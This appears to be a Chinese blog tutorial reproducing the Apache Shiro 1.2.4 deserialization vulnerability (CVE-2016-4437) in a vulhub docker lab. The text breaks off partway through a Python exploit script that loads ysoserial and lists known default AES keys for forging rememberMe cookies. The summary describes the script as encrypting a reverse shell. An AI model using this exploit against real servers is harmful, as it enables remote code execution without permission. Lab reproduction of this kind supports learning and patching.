Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）复现

最新推荐文章于 2024-09-12 16:00:19 发布

玄道网安

最新推荐文章于 2024-09-12 16:00:19 发布

阅读量945

点赞数

CC 4.0 BY-SA版权

分类专栏：安全文章标签：安全

本文链接：https://blog.csdn.net/xuandao_ahfengren/article/details/114392184

本文详细介绍了Apache Shiro 1.2.4版本存在的反序列化漏洞（CVE-2016-4437），包括漏洞简介、影响版本、环境搭建步骤、漏洞复现过程，以及针对该问题的修复建议。通过Poc展示了如何加密反弹shell，并提供了解决方案，即升级到安全版本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

简介

Apache Shiro是一套用于执行认证、授权、加密和会话管理的Java安全框架。

影响版本

Apache Shiro < 1.2.5

环境搭建

这里使用docker来搭建

环境地址

https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

进入目录并启动Apache Shiro 1.2.4的Web服务

cd vulhub-master/shiro/CVE-2016-4437/

docker-compose up -d

访问http://your-ip:8080即可看到页面

漏洞复现

Poc

#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "6ZmI6I2j5Y+R5aSn5ZOlAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "cmVtZW1iZXJNZQAAAAAAAA==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "ZnJlc2h6Y24xMjM0NTY3OA==",
    "L7RioUULEFhRyxM7a2R/Yg==",
    "RVZBTk5JR0hUTFlfV0FPVQ==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "WkhBTkdYSUFPSEVJX